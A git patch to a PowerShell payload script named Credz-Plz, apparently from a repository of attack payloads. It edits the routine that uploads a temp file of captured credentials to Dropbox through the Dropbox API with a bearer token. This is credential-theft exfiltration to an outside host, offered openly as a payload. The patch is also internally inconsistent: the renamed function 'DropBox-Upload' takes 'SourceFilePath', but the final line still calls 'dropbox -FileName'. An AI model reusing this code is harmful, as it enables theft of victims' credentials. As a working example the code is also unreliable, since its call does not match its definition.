From 59d94e1d8b69ce0b0ceda1aed6a93d5ca1c9965a Mon Sep 17 00:00:00 2001 From: I-Am-Jakoby Date: Sun, 18 Dec 2022 21:57:13 -0600 Subject: [PATCH] Update Credz-Plz.ps1 --- Payloads/Flip-Credz-Plz/Credz-Plz.ps1 | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) diff --git a/Payloads/Flip-Credz-Plz/Credz-Plz.ps1 b/Payloads/Flip-Credz-Plz/Credz-Plz.ps1 index bdbd882..2be3c19 100644 --- a/Payloads/Flip-Credz-Plz/Credz-Plz.ps1 +++ b/Payloads/Flip-Credz-Plz/Credz-Plz.ps1 @@ -139,9 +139,17 @@ echo $creds >> $env:TMP\$FileName This is to upload your files to dropbox #> -function dropbox { -$TargetFilePath="/$ZIP" -$SourceFilePath="$env:TEMP\$ZIP" +function DropBox-Upload { + +[CmdletBinding()] +param ( + +[Parameter (Mandatory = $True, ValueFromPipeline = $True)] +[Alias("f")] +[string]$SourceFilePath +) +$outputFile = Split-Path $SourceFilePath -leaf +$TargetFilePath="/$outputFile" $arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }' $authorization = "Bearer " + $db $headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]" @@ -151,7 +159,7 @@ $headers.Add("Content-Type", 'application/octet-stream') Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers } -if (-not ([string]::IsNullOrEmpty($db))){dropbox} +if (-not ([string]::IsNullOrEmpty($db))){dropbox -FileName $env:TMP\$FileName} #------------------------------------------------------------------------------------------------------------------------------------